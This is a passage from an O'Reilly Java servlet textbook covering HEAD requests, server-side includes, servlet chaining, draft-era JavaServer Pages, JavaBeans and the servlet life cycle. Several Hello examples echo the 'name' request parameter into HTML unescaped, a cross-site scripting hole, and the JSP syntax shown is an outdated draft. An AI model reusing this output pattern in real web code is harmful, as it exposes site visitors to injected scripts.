In general, it is best if a servlet implements either doGet() or doPost(). Deciding which to implement depends on what sort of requests the servlet needs to be able to handle, as discussed earlier. The code you write to implement the methods is almost identical. The major difference is that doPost() has the added ability to accept large amounts of input.

You may be wondering what would have happened had the Hello servlet been accessed with a POST request before we implemented doPost(). The default behavior inherited from HttpServlet for both doGet() and doPost() is to return an error to the client saying the requested URL does not support that method.

2.3.5. Handling HEAD Requests

A bit of under-the-covers magic makes it trivial to handle HEAD requests (sent by a client when it wants to see only the headers of the response). There is no doHead() method to write. Any servlet that subclasses HttpServlet and implements the doGet() method automatically supports HEAD requests.

Here's how it works. The service() method of the HttpServlet identifies HEAD requests and treats them specially. It constructs a modified HttpServletResponse object and passes it, along with an unchanged request, to the doGet() method. The doGet() method proceeds as normal, but only the headers it sets are returned to the client. The special response object effectively suppresses all body output.[3] Figure 2-6 shows how an HTTP servlet handles HEAD requests.

[3] Jason is proud to report that Sun added this feature in response to comments he made during beta testing.

Figure 2-6. An HTTP servlet handling a HEAD request

Although this strategy is convenient, you can sometimes improve performance by detecting HEAD requests in the doGet() method, so that it can return early, before wasting cycles writing output that no one will see. Example 2-3 uses the request's getMethod() method to implement this strategy (more properly called a hack) in our Hello servlet.

Example 2-3. The Hello servlet modified to return quickly in response to HEAD requests

import java.io.*;
import javax.servlet.*;
import javax.servlet.http.*;

public class Hello extends HttpServlet {

  public void doGet(HttpServletRequest req, HttpServletResponse res)
                               throws ServletException, IOException {

    // Set the Content-Type header
    res.setContentType("text/html");

    // Return early if this is a HEAD
    if (req.getMethod().equals("HEAD")) return;

    // Proceed otherwise
    PrintWriter out = res.getWriter();
    String name = req.getParameter("name");
    out.println("<HTML>");
    out.println("<HEAD><TITLE>Hello, " + name + "</TITLE></HEAD>");
    out.println("<BODY>");
    out.println("Hello, " + name);
    out.println("</BODY></HTML>");
  }
}

Notice that we set the Content-Type header, even if we are dealing with a HEAD request. Headers such as these are returned to the client. Some header values, such as Content-Length, may not be available until the response has already been calculated. If you want to be accurate in returning these header values, the effectiveness of this shortcut is limited.

Make sure that you end the request handling with a return statement. Do not call System.exit(). If you do, you risk exiting the web server.

Previous | Home | Next
2.2. The Servlet API | Book Index | 2.4. Server-Side Includes
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Server-Side Includes (Java Servlet Programming)

 Java Servlet Programming Search this book

2.4. Server-Side Includes

All the servlets you've seen so far generate full HTML pages. If this were all that servlets could do, it would still be plenty. Servlets, however, can also be embedded inside HTML pages with something called server-side include (SSI)functionality.

In many servers that support servlets, a page can be preprocessed by the server to include output from servlets at certain points inside the page. The tags used for a server-side include look similar to those used for applets:[4]

[4] Currently, the <SERVLET> tag syntax varies across server implementations. This section describes the syntax appropriate for the Java Web Server.

<SERVLET CODE=ServletName CODEBASE=http://server:port/dir
         initParam1=initValue1 initParam2=initValue2>
<PARAM NAME=param1 VALUE=value1>
<PARAM NAME=param2 VALUE=value2>
    If you see this text, it means that the web server
    providing this page does not support the SERVLET tag.
</SERVLET>

The CODE attribute specifies the class name or registered name of the servlet to invoke. The CODEBASE attribute is optional. It can refer to a remote location from which the servlet should be loaded. Without a CODEBASE attribute, the servlet is assumed to be local.

Any number of parameters may be passed to the servlet using the <PARAM> tag. The servlet can retrieve the parameter values using the getParameter() method of ServletRequest. Any number of initialization (init) parameters may also be passed to the servlet appended to the end of the <SERVLET> tag. We'll cover init parameters in Chapter 3, "The Servlet Life Cycle".

A server that supports SSI detects the <SERVLET> tag in the process of returning the page and substitutes in its place the output from the servlet (as shown in Figure 2-7). The server does not parse every page it returns, just those that are specially tagged. The Java Web Server, by default, parses only pages with an .shtml extension. Note that with the <SERVLET> tag, unlike the <APPLET> tag, the client browser never sees anything between <SERVLET> and </SERVLET>--unless the server does not support SSI, in which case the client receives the content, ignores the unrecognized tags, and displays the descriptive text.

Figure 2-7. Server-side include expansion

2.4.1. Writing a Server-Side Include

Server-side includes are useful when a page is primarily static but contains a few distinct dynamic portions. For a simple example, let's assume we have several pages that need to display the current time. As an extra challenge, let's assume that sometimes we need the current time in time zones other than our own.

The problem is easy with server-side includes. Each page can be written as a static HTML page with one or more SSI directives that call Java code to provide the times. The HTML could look something like this, saved to a file with an .shtmlextension:

<HTML>
<HEAD><TITLE>Times!</TITLE></HEAD>
<BODY>
The current time here is:
<SERVLET CODE=CurrentTime>
</SERVLET>
<P>
The current time in London is:
<SERVLET CODE=CurrentTime>
<PARAM NAME=zone VALUE=GMT>
</SERVLET>
<P>
And the current time in New York is:
<SERVLET CODE=CurrentTime>
<PARAM NAME=zone VALUE=EST>
</SERVLET>
<P>
</BODY>
</HTML>

The servlet named CurrentTime can be plugged into any page that needs a time display. The name can be either the servlet's class name or its registered name. The servlet code is shown in Example 2-4.

Example 2-4. A server-side include that prints the current time

import java.io.*;
import java.text.*;
import java.util.*;
import javax.servlet.*;
import javax.servlet.http.*;

public class CurrentTime extends HttpServlet {

  public void doGet(HttpServletRequest req, HttpServletResponse res)
                               throws ServletException, IOException {

    PrintWriter out = res.getWriter();

    Date date = new Date();
    DateFormat df = DateFormat.getInstance();

    String zone = req.getParameter("zone");
    if (zone != null) {
      TimeZone tz = TimeZone.getTimeZone(zone);
      df.setTimeZone(tz);
    }

    out.println(df.format(date));
  }
}

The CurrentTime servlet looks strikingly similar to the Hello servlet. This is not a coincidence. There is no real difference between a servlet that handles full-page GET requests and one that is embedded in a page, except that embedded servlets have limited response capabilities. For example, an embedded servlet cannot set HTTP headers.

The only method CurrentTime implements is the doGet() method. All SSI servlets use either doGet() or service() to handle requests. Inside the method, the servlet first retrieves its PrintWriter.[5] This early retrieval is perhaps unnecessary; it could be retrieved as late as the next to last line. Still, we recommend fetching it first thing. It will save time later when you find you need to begin sending output sooner than you expected.

[5]The Java Web Server 1.1.1 has a bug where the PrintWriter returned by the getWriter() method of ServletRequest does not generate output for a servlet used as a server side include. This means that to run the SSI examples shown in the book you need to use another servlet engine; or you can change the examples to manually create a PrintWriter as follows: PrintWriter out = new PrintWriter(res.getOutputStream(), true);

Then the servlet gets the current Date and a DateFormat instance with which to display the time. This servlet's ability to hop time zones is based on functionality in DateFormat. The servlet simply tells the DateFormat which time zone to use, and the date is displayed appropriately.

The time zone is specified by the <PARAM> tag in the HTML file. The servlet gains access to this parameter with the getParameter() method of HttpServletRequest. This technique is identical to the one we used to retrieve form data. The servlet uses the value of the "zone" parameter to create a TimeZone object that can be passed to the DateFormat object. If the "zone" parameter is not specified, as is the case with the first SSI example on our page, getParameter() returns null and the DateFormat uses the default time zone. Finally, the servlet outputs the String created when the DateFormat object formats the current date. The output of the HTML page is shown in Figure 2-8.

Figure 2-8. At the beep the current time will be...

Previous | Home | Next
2.3. Page Generation | Book Index | 2.5. Servlet Chaining and Filters
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Servlet Chaining and Filters (Java Servlet Programming)

 Java Servlet Programming Search this book

2.5. Servlet Chaining and Filters

Now you've seen how an individual servlet can create content by generating a full page or by being used in a server-side include. Servlets can also cooperate to create content in a process called servlet chaining .

In many servers that support servlets, a request can be handled by a sequence of servlets. The request from the client browser is sent to the first servlet in the chain. The response from the last servlet in the chain is returned to the browser. In between, the output from each servlet is passed (piped) as input to the next servlet, so each servlet in the chain has the option to change or extend the content, as shown in Figure 2-9.[6]

[6] A web server could implement servlet chaining differently than described here. There is no reason the initial content must come from a servlet. It could come from a static file fetched with built-in server code or even from a CGI script. The Java Web Server does not have to make this distinction because all its requests are handled by servlets.

There are two common ways to trigger a chain of servlets for an incoming request. First, you can tell the server that certain URLs should be handled by an explicitly specified chain. Or, you can tell the server to send all output of a particular content type through a specified servlet before it is returned to the client, effectively creating a chain on the fly. When a servlet converts one type of content into another, the technique is called filtering .

Figure 2-9. Servlet chaining

Servlet chaining can change the way you think about web content creation. Here are some of the things you can do with it:

Quickly change the appearance of a page, a group of pages, or a type of content.

For example, you can improve your site by suppressing all <BLINK> tags from the pages of your server, as shown in the next example. You can speak to those who don't understand English by dynamically translating the text from your pages to the language read by the client. You can suppress certain words that you don't want everyone to read, be they the seven dirty words or words not everyone knows already, like the unreleased name of your secret project. You could also suppress entire pages in which these words appear. You can enhance certain words on your site, so that an online news magazine could have a servlet detect the name of any Fortune 1000 companies and automatically make each company name a link to its home page.

Take a kernel of content and display it in special formats.

For example, you can embed custom tags in your page and have a servlet replace them with HTML content. Imagine an <SQL> tag whose query contents are executed against a database and whose results are placed in an HTML table. This is, in fact, similar to how the Java Web Server supports the <SERVLET> tag.

Support esoteric data types.

For example, you can serve unsupported image types with a filter that converts nonstandard image types to GIF or JPEG.

You may be asking yourself, why you would want to use a servlet chain when you could instead write a script that edits the files in place--especially when there is an additional amount of overhead for each servlet involved in handling a request? The answer is that servlet chains have a threefold advantage:

  • They can easily be undone, so when users riot against your tyranny of removing their <BLINK> freedom, you can quickly reverse the change and appease the masses.

  • They handle dynamically created content, so you can trust that your restrictions are maintained, your special tags are replaced, and your dynamically converted PostScript images are properly displayed, even in the output of a servlet (or a CGI script).

  • They handle the content of the future, so you don't have to run your script every time new content is added.

2.5.1. Creating a Servlet Chain

Our first servlet chain example removes <BLINK> tags from HTML pages. If you're not familiar with the <BLINK> tag, be thankful. It is a tag recognized by many browsers in which any text between the <BLINK> and </BLINK> tags becomes a flashing distraction. Sure, it's a useful feature when used sparingly. The problem is that many page authors use it far too often. It has become the joke of HTML.

Example 2-5 shows a servlet that can be used in a servlet chain to remove the <BLINK> tag from all of our server's static HTML pages, all its dynamically created HTML pages, and all the pages added to it in the future. This servlet introduces the getReader() and getContentType() methods.

Example 2-5. A servlet that removes the <BLINK> tag from HTML pages

import java.io.*;
import javax.servlet.*;
import javax.servlet.http.*;

public class Deblink extends HttpServlet {

  public void doGet(HttpServletRequest req, HttpServletResponse res)
                               throws ServletException, IOException {

    String contentType = req.getContentType();  // get the incoming type
    if (contentType == null) return;  // nothing incoming, nothing to do
    res.setContentType(contentType);  // set outgoing type to be incoming type

    PrintWriter out = res.getWriter();

    BufferedReader in = req.getReader();

    String line = null;
    while ((line = in.readLine()) != null) {
      line = replace(line, "<BLINK>", "");
      line = replace(line, "</BLINK>", "");
      out.println(line);
    }
  }

  public void doPost(HttpServletRequest req, HttpServletResponse res)
                                throws ServletException, IOException {
    doGet(req, res);
  }

  private String replace(String line, String oldString, String newString) {
    int index = 0;
    while ((index = line.indexOf(oldString, index)) >= 0) {
      // Replace the old string with the new string (inefficiently)
      line = line.substring(0, index) +
             newString +
             line.substring(index + oldString.length());
      index += newString.length();
    }
    return line;
  }
}

This servlet overrides both the doGet() and doPost() methods. This allows it to work in chains that handle either type of request. The doGet() method contains the core logic, while doPost() simply dispatches to doGet(), using the same technique as the Hello example.

Inside doGet(), the servlet first fetches its print writer. Next, the servlet calls req.getContentType() to find out the content type of the data it is receiving. It sets its output type to match, or if getContentType() returned null, it realizes there is no incoming data to deblink and simply returns. To read the incoming data, the servlet fetches a BufferedReader with a call to req.getReader(). The reader contains the HTML output from the previous servlet in the chain. As the servlet reads each line, it removes any instance of <BLINK> or </BLINK> with a call to replace() and then returns the line to the client (or perhaps to another servlet in the chain). Note that the replacement is case-sensitive and inefficient; a solution to this problem that uses regular expressions is included in Chapter 13, "Odds and Ends".

A more robust version of this servlet would retrieve the incoming HTTP headers and pass on the appropriate headers to the client (or to the next servlet in the chain). Chapter 4, "Retrieving Information" and Chapter 5, "Sending HTML Information" explain the handling and use of HTTP headers. There's no need to worry about it now, as the headers aren't useful for simple tasks like the one we are doing here.

2.5.2. Running Deblink

If you're using the Java Web Server, before running Deblink you have to first tell the web server you want servlet chains enabled. Go to managing the Web Service, go to the Setup section, select Site, and then select Options. Here you can turn servlet chaining on. By default it's turned off to improve performance.

As we said before, there are two ways to trigger a servlet chain. A chain can be explicitly specified for certain requests, or it can be created on the fly when one servlet returns a content type that another servlet is registered to handle. We'll use both techniques to run Deblink.

First, we'll explicitly specify that all files with a name matching the wildcard pattern *.html should be handled by the file servlet followed by the Deblink servlet. The file servlet is a core Java Web Server servlet used to retrieve files. Normally it is the only servlet invoked to return an HTML file. But here, we're going to pass its output to Deblink before returning the HTML to the client. Go back to managing the Web Service, go to the Setup section, and select Servlet Aliases. Here you will see which servlets are invoked for different kinds of URLs, as shown in Figure 2-10.

Figure 2-10. Standard servlet aliases

These mappings provide some insight into how the Java Web Server uses its core servlets. You can see / invokes file, *.shtml invokes ssinclude , and /servlet invokes invoker . The most specific wildcard pattern is used, which is why /servlet uses the invoker servlet to launch a servlet instead of using the file servlet to return a file. You can change the default aliases or add new aliases. For example, changing the /servlet prefix would change the URL used to access servlets. Right now, we're interested in adding another alias. You should add an alias that specifies that *.html invokes file,Deblink. After making this change, any file ending in .html is retrieved by the file servlet and passed to Deblink.

Try it yourself. Create a blinky.html file in server_root/public_html that is sprinkled with a few blink tags and try surfing to http://server:8080/blinky.html. If everything's set up right, all evidence of the blink tags is removed.

2.5.3. The Loophole

This technique has one large loophole: not all HTML comes from files with the .html extension. For example, HTML can come from a file with the .htm extension or from some dynamically created HTML. We can work around multiple file extensions with more aliases. This, however, still doesn't catch dynamic content. We need our second technique for creating a servlet chain to plug that hole.

We really want to specify that all text/html content should pass through the Deblink servlet. The JavaServer Administration Tool does not yet include a graphical way to do this. Instead, we can make the change with a simple edit of a properties file. The properties file can be found at server_root/properties/server/javawebserver/webpageservice/mimeservlets.properties. It contains directives like this:

java-internal/parsed-html=ssinclude

This directive indicates that all responses with a Content-Type header of java-internal/parsed-html should be passed to the ssinclude (server-side include) servlet. Why is this necessary? Without it, the ssinclude servlet would handle only static files with the .shtml extension. It would suffer from the same loophole: dynamically created pages containing the <SERVLET> tag would be ignored. With this directive, any servlet can set its content type to java-internal/parsed-html, which causes the ssinclude servlet to handle its output.

To specify that all text/html content is passed through Deblink, we need to add our own directive:

text/html=Deblink

You need to restart your server before this change can take effect.

After making this change, all HTML content served by the server has its <BLINK> tags removed.[7] Try it yourself! Change your HelloWorld servlet to <BLINK> its message and watch the Deblink servlet silently remove all evidence of the deed.

[7] Unfortunately, some servers (including the Java Web Server 1.1.1) have a bug where they are too smart for their own good. They literally feed all text/html content to the Deblink servlet--even the text/html content being output by the Deblink servlet itself! In other words, every HTML page is deblinked forever (or until the client stops the request, whichever comes first).

Previous | Home | Next
2.4. Server-Side Includes | Book Index | 2.6. JavaServer Pages
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


JavaServer Pages (Java Servlet Programming)

 Java Servlet Programming Search this book

2.6. JavaServer Pages

Just as this book was going to press, Sun announced a new way to use servlets, called JavaServer Pages (commonly, but not officially, referred to as JSP). JSP's functionality and syntax bear a remarkable resemblance to Active Server Pages (ASP).

JSP operates in many ways like server-side includes. The main difference is that instead of embedding a <SERVLET> tag in an HTML page, JSP embeds actual snippets of servlet code. It's an attempt by Sun to separate content from presentation, more convenient than server-side includes for pages that have chunks of dynamic content intermingled with static content in several different places.

Just like server-side includes and servlet chaining, JSP doesn't require any changes to the Servlet API. But it does require special support in your web server. This support is not included in the Java Web Server 1.1.1 (the unofficially considered reference servlet engine against which this book is written), but it's expected to be introduced in the next version of the Java Web Server, probably 1.2, and in other servlet engines as they keep pace.

Note that the following tutorial is based on the JavaServer Pages draft specification, version 0.91. You may notice small changes in the final specification.

2.6.1. Using JavaServer Pages

At its most basic, JSP allows for the direct insertion of servlet code into an otherwise static HTML file. Each block of servlet code (called a scriptlet) is surrounded by a leading <% tag and a closing %> tag.[8] For convenience, a scriptlet can use four predefined variables:

[8]An earlier technology, called Page Compilation, uses <JAVA> and </JAVA> tags and a different internal syntax. Page Compilation has been deprecated in favor of JavaServer Pages.

request

The servlet request, an HttpServletRequest object

response

The servlet response, an HttpServletResponse object

out

The output writer, a PrintWriter object

in

The input reader, a BufferedReader object

Example 2-6 shows a simple JSP page that says "Hello" in a manner similar to Example 2-2, though with a lot less code. It makes use of the predefined request and out variables.

If you have a server that supports JavaServer Pages and want to test this page, you should place the file under the server's document root (probably server_root/public_html) and save it with a special extension. By default, this extension for JSP pages is .jsp. Assuming you have saved the page as hello1.jsp, you can then access it at the URL http://server:port/hello1.jsp. A screen shot is shown in Figure 2-11.

Example 2-6. Saying Hello with JSP

<HTML>
<HEAD><TITLE>Hello</TITLE></HEAD>
<BODY>
<H1>
<%
if (request.getParameter("name") == null) {
   out.println("Hello World");
}
else {
  out.println("Hello, " + request.getParameter("name"));
}
%>
</H1>
</BODY></HTML>

Figure 2-11. Saying Hello using JavaServer Pages

2.6.2. Behind the Scenes

How does JSP work? Behind the scenes, the server automatically creates, compiles, loads, and runs a special servlet to generate the page's content, as shown in Figure 2-12. You can think of this special servlet as a background, workhorse servlet. The static portions of the HTML page are generated by the workhorse servlet using the equivalent of out.println() calls, while the dynamic portions are included directly. For example, the servlet shown in Example 2-7 might be the background workhorse for hello1.jsp.[9]

[9] If you're interested in seeing the true servlet source code for a JSP page, poke around the directories under your server root. After all, the server needs to save the Java source code somewhere before compiling it! If you find the true servlet source, you're likely to see that it is far more complicated and convoluted than what is shown here.

Figure 2-12. Generating JavaServer Pages

Example 2-7. The workhorse servlet for hello1.jsp

import java.io.*;
import javax.servlet.*;
import javax.servlet.http.*;

public class _hello1_xjsp extends HttpServlet {

  public void service(HttpServletRequest request, HttpServletResponse response)
                                 throws ServletException, IOException {
    response.setContentType("text/html");
    PrintWriter out = response.getWriter();
    BufferedReader in = request.getReader();

    out.println("<HTML>");
    out.println("<HEAD><TITLE>Hello</TITLE></HEAD>");
    out.println("<BODY>");
    out.println("<H1>");
    if (request.getParameter("name") == null) {
      out.println("Hello World");
    }
    else {
      out.println("Hello, " + request.getParameter("name"));
    }
    out.println("</H1>");
    out.println("</BODY></HTML>");
  }
}

The first time you access a JSP page, you may notice that it takes a short time to respond. This is the time necessary for the server to create and compile the background servlet. Subsequent requests should be as fast as ever because the server can reuse the servlet. The one exception is when the .jsp file changes, in which case the server notices and recompiles a new background servlet. If there's ever an error in compiling, you can expect the server to somehow report the problem, usually in the page returned to the client.

2.6.3. Expressions and Directives

In addition to scriptlets, JavaServer Pages allow the use of expressions and directives . A JSP expression begins with <%= and ends with %>. Any Java expression between the two tags is evaluated, the result is converted to a String, and the text is included directly in the page. This technique eliminates the clutter of an out.println() call. For example, <%= foo %> includes the value of the foo variable.

A JSP directive begins with <%@ and ends with %>. A directive allows a JSP page to control certain aspects of its workhorse servlet. Directives can be used to have the workhorse servlet set its content type, import a package, extend a different superclass, implement an interface, and handle either GET or POST requests. A directive can even specify the use of a non-Java scripting language.

In between the directive tags certain key variables can be assigned values using the following syntax:

<%@ varname = "value" %>

Here are the six variables you can set:

content_type

Specifies the content type of the generated page. For example:

<%@ content_type = "text/plain" %>

The default content type is "text/html".

import

Specifies a list of classes the servlet should import. Multiple classes can be given in a comma-separated list or given through multiple import directives. For example:

<%@ import = "java.io.*,java.util.Hashtable" %>
extends

Specifies the superclass the servlet should extend. For example:

<%@ extends = "CustomHttpServletSuperclass" %>

The default superclass is HttpServlet.

implements

Specifies a list of interfaces the servlet should implement. Multiple interfaces can be given in a comma-separated list or given through multiple import directives. For example:

<%@ implements = "Serializable" %>

The default behavior is to not implement anything.

method

Specifies the servlet method that should contain the generated code and handle client requests. The default is "service", which handles all requests. For example:

<%@ method = "doPost" %>
language

Specifies the scripting language used by the back-end. The default language is "java". Some servers can choose to allow other languages. For example:

<%@ language = "java" %>

Example 2-8 shows a revised version of the Hello page that uses JSP expressions and directives. It uses a method directive to indicate it should handle POST requests, and it uses an expression to simplify its display of the name parameter.

Example 2-8. Saying Hello using JSP expressions and directives

<%@ method = "doPost" %>
<HTML>
<HEAD><TITLE>Hello</TITLE></HEAD>
<BODY>
<H1>
<% if (request.getParameter("name") == null) { %>
Hello World
<% } else { %>
Hello, <%= request.getParameter("name") %>
<% } %>
</H1>
</BODY></HTML>

The background workhorse servlet for this JSP page should look nearly identical to Example 2-7, with the only difference that this servlet implements doPost() instead of service().

2.6.4. Declarations

Sometimes it's necessary for a JSP page to define methods and nonlocal variables in its workhorse servlet. For this there is a construct called a JSP declaration.

A declaration begins with a <SCRIPT RUNAT="server"> tag and ends with a </SCRIPT> tag. In between the tags, you can include any servlet code that should be placed outside the servlet's service method. Example 2-9 demonstrates this with a JSP page that uses a declaration to define the getName() method.

Example 2-9. Saying Hello using a JSP declaration

<HTML>
<HEAD><TITLE>Hello</TITLE></HEAD>
<BODY>
<H1>
Hello, <%= getName(request) %>
</H1>
</BODY>
</HTML>

<SCRIPT RUNAT="server">
private static final String DEFAULT_NAME = "World";

private String getName(HttpServletRequest req) {
  String name = req.getParameter("name");
  if (name == null)
    return DEFAULT_NAME;
  else
    return name;
}
</SCRIPT>

The background servlet created to generate this page might look like the servlet shown in Example 2-10.

Example 2-10. The workhorse servlet for a JSP page with a declaration

import java.io.*;
import javax.servlet.*;
import javax.servlet.http.*;

public class _hello3_xjsp extends HttpServlet {

  public void service(HttpServletRequest request, HttpServletResponse response)
                                 throws ServletException, IOException {
    response.setContentType("text/html");
    PrintWriter out = response.getWriter();
    BufferedReader in = request.getReader();

    out.println("<HTML>");
    out.println("<HEAD><TITLE>Hello</TITLE></HEAD>");
    out.println("<BODY>");
    out.println("<H1>");
    out.println("Hello, " + getName(request));
    out.println("</H1>");
    out.println("</BODY></HTML>");
  }

  private static final String DEFAULT_NAME = "World";

  private String getName(HttpServletRequest req) {
    String name = req.getParameter("name");
    if (name == null)
      return DEFAULT_NAME;
    else
      return name;
  }
}

2.6.5. JavaServer Pages and JavaBeans

One of the most interesting and powerful ways to use JavaServer Pages is in cooperation with JavaBeans components. JavaBeans are reusable Java classes whose methods and variables follow specific naming conventions to give them added abilities. They can be embedded directly in a JSP page using <BEAN> tags. A JavaBean component can perform a well-defined task (execute database queries, connect to a mail server, maintain information about the client, etc.) and make its resulting information available to the JSP page through simple accessor methods.[10]

[10] For more information on JavaBeans, see http://java.sun.com/bean/and the book Developing Java Beans by Robert Englander (O'Reilly).

The difference between a JavaBeans component embedded in a JSP page and a normal third-party class used by the generated servlet is that the web server can give JavaBeans special treatment. For example, a server can automatically set a bean's properties (instance variables) using the parameter values in the client's request. In other words, if the request includes a name parameter and the server detects through introspection (a technique in which the methods and variables of a Java class can be programatically determined at runtime) that the bean has a name property and a setName(String name) method, the server can automatically call setName() with the value of the name parameter. There's no need for getParameter() .

A bean can also have its scope managed automatically by the server. A bean can be assigned to a specific request (where it is used once and destroyed or recycled) or to a client session (where it's automatically made available every time the same client reconnects). Sessions and session tracking are covered in depth in Chapter 7, "Session Tracking".

A bean can even be implemented as a servlet! If the server detects that a bean implements the javax.servlet.Servlet interface (either directly or by extending GenericServlet or HttpServlet), it will call the bean's service() method once for each request and the bean's init() method when the bean is first created. The utility of this functionality is debatable, but it can be used by beans that need to prepare somehow before handling requests.

Beans are embedded in a JSP page using the <BEAN> tag. It has the following syntax:

<BEAN NAME="lookup name" VARNAME="alternate variable name"
 TYPE="class or interface name" INTROSPECT="{yes|no}" BEANNAME="file name"
 CREATE="{yes|no}" SCOPE="{request|session}">
<PARAM property1=value1 property2=value2>
</BEAN>

You can set the following attributes of the <BEAN> tag:

NAME

Specifies the name of the bean. This is the key under which the bean is saved if its scope extends across requests. If a bean instance saved under this name already exists in the current scope, that instance is used with this page. For example:

NAME="userPreferences"
VARNAME

Specifies the variable name of the bean. This is the name used by the page to refer to the bean and invoke its methods. For example:

VARNAME="prefs"

If not given, the variable name of the bean is set to the value of its name attribute.

TYPE

Specifies the name of the bean's class or interface type. For example:

TYPE="UserPreferencesBean"

The type defaults to java.lang.Object.

INTROSPECT

Specifies if the server should set the bean's properties using the parameter values in the client's request. Its value must be "yes" or "no". The default is "yes".

BEANNAME

Specifies the serialized file or class file that contains the bean, used when first creating the bean. This is an optional attribute. For example:

BEANNAME="hellobean.ser"
CREATE

Specifies if the bean should be created if it doesn't already exist. Its value must be "yes" or "no". The default is "yes". If create is set to "no" and a preexisting instance isn't found, an error is returned to the client.

SCOPE

Specifies if the bean should be assigned to a specific request (where it is used once and destroyed or recycled) or to a client session (where it's automatically made available every time the same client reconnects, within a certain time frame). Its value must be "request" or "session". The default is "request".

Parameters can be passed to a bean as a list using a <PARAM> tags placed between the opening <BEAN> tag and the closing </BEAN> tag. The parameter values are used to set the bean's properties using introspection.

Example 2-11 demonstrates the use of a JavaBeans component with a JSP page; it says Hello with the help of a HelloBean.

Example 2-11. Saying Hello using a JavaBean

<%@ import = "HelloBean" %>

<BEAN NAME="hello" TYPE="HelloBean"
 INTROSPECT="yes" CREATE="yes" SCOPE="request">
</BEAN>

<HTML>
<HEAD><TITLE>Hello</TITLE></HEAD>
<BODY>
<H1>
Hello, <%= hello.getName() %>
</H1>
</BODY>
</HTML>

As you can see, using a JavaBeans component with JavaServer Pages greatly reduces the amount of code necessary in the page. This allows a clean separation of content (the functionality the bean provides) from presentation (the HTML structure of the page). By using a well-defined API to interact with the bean, even nonprogrammers can write JSP pages.

The code for HelloBean is shown in Example 2-12. Its class file should be placed in the server's classpath (something like server_root/classes, although for the Java Web Server you need to first create this directory).

Example 2-12. The HelloBean class

public class HelloBean {

  private String name = "World";

  public void setName(String name) {
    this.name = name;
  }

  public String getName() {
    return name;
  }
}

This is about as simple a bean as you'll ever see. It has a single name property that is set using setName() and retrieved using getName(). The default value of name is "World", but when a request comes in that includes a NAME parameter, the property is set automatically by the server with a call to setName(). To test the mechanism, try browsing to http://server:port/hellobean.jsp. You should see something similar to the screen shot in Figure 2-13.

Figure 2-13. Saying Hello using JavaServer pages in cooperation with a JavaBeans component

Previous | Home | Next
2.5. Servlet Chaining and Filters | Book Index | 2.7. Moving On
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Moving On (Java Servlet Programming)

 Java Servlet Programming Search this book

2.7. Moving On

We realize this chapter has been a whirlwind introduction to HTTP servlets. By now, we hope you have a sense of the different ways you can use servlets to handle a variety of web development tasks. Of course, servlets can do far more than say "Hello World," tell the time, and remove <BLINK> tags. Now that you've got your feet wet, we can dive into the details and move on to more interesting applications.

Previous | Home | Next
2.6. JavaServer Pages | Book Index | 3. The Servlet Life Cycle
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


The Servlet Life Cycle (Java Servlet Programming)

 Java Servlet Programming Search this book

Chapter 3. The Servlet Life Cycle

Contents:

The Servlet Alternative
Servlet Reloading
Init and Destroy
Single-Thread Model
Background Processing
Last Modified Times

The servlet life cycle is one of the most exciting features of servlets. This life cycle is a powerful hybrid of the life cycles used in CGI programming and lower-level NSAPI and ISAPI programming, as discussed in Chapter 1, "Introduction".

3.1. The Servlet Alternative

The servlet life cycle allows servlet engines to address both the performance and resource problems of CGI and the security concerns of low-level server API programming. A servlet engine may execute all its servlets in a single Java virtual machine (JVM). Because they are in the same JVM, servlets can efficiently share data with each other, yet they are prevented by the Java language from accessing one another's private data. Servlets may also be allowed to persist between requests as object instances, taking up far less memory than full-fledged processes.

Before we proceed too far, you should know that the servlet life cycle is highly flexible. Servers have significant leeway in how they choose to support servlets. The only hard and fast rule is that a servlet engine must conform to the following life cycle contract:

  1. Create and initialize the servlet.

  2. Handle zero or more service calls from clients.

  3. Destroy the servlet and then garbage collect it.

It's perfectly legal for a servlet to be loaded, created, and instantiated in its own JVM, only to be destroyed and garbage collected without handling any client requests or after handling just one request. Any servlet engine that makes this a habit, however, probably won't last long on the open market. In this chapter we describe the most common and most sensible life cycle implementations for HTTP servlets.

3.1.1. A Single Java Virtual Machine

Most servlet engines want to execute all servlets in a single JVM. Where that JVM itself executes can differ depending on the server, though. With a server written in Java, such as the Java Web Server, the server itself can execute inside a JVM right alongside its servlets.

With a single-process, multithreaded web server written in another language, the JVM can often be embedded inside the server process. Having the JVM be part of the server process maximizes performance because a servlet becomes, in a sense, just another low-level server API extension. Such a server can invoke a servlet with a lightweight context switch and can provide information about requests through direct method invocations.

A multiprocess web server (which runs several processes to handle requests) doesn't really have the choice to embed a JVM directly in its process because there is no one process. This kind of server usually runs an external JVM that its processes can share. With this approach, each servlet access involves a heavyweight context switch reminiscent of FastCGI. All the servlets, however, still share the same external process.

Fortunately, from the perspective of the servlet (and thus from your perspective, as a servlet author), the server's implementation doesn't really matter because the server always behaves the same way.

3.1.2. Instance Persistence

We said above that servlets persist between requests as object instances. In other words, at the time the code for a servlet is loaded, the server creates a single class instance. That single instance handles every request made of the servlet. This improves performance in three ways:

  • It keeps the memory footprint small.

  • It eliminates the object creation overhead that would otherwise be necessary to create a new servlet object. A servlet can be already loaded in a virtual machine when a request comes in, letting it begin executing right away.

  • It enables persistence. A servlet can have already loaded anything it's likely to need during the handling of a request. For example, a database connection can be opened once and used repeatedly thereafter. It can even be used by a group of servlets. Another example is a shopping cart servlet that loads in memory the price list along with information about its recently connected clients. Yet another servlet may choose to cache entire pages of output to save time if it receives the same request again.

Not only do servlets persist between requests, but so do any threads created by servlets. This perhaps isn't useful for the run-of-the-mill servlet, but it opens up some interesting possibilities. Consider the situation where one background thread performs some calculation while other threads display the latest results. It's quite similar to an animation applet where one thread changes the picture and another one paints the display.

3.1.3. A Simple Counter

To demonstrate the servlet life cycle, we'll begin with a simple example. Example 3-1 shows a servlet that counts and displays the number of times it has been accessed. For simplicity's sake, it outputs plain text.

Example 3-1. A simple counter

import java.io.*;
import javax.servlet.*;
import javax.servlet.http.*;

public class SimpleCounter extends HttpServlet {

  int count = 0;

  public void doGet(HttpServletRequest req, HttpServletResponse res)
                               throws ServletException, IOException {
    res.setContentType("text/plain");
    PrintWriter out = res.getWriter();
    count++;
    out.println("Since loading, this servlet has been accessed " +
                count + " times.");
  }
}

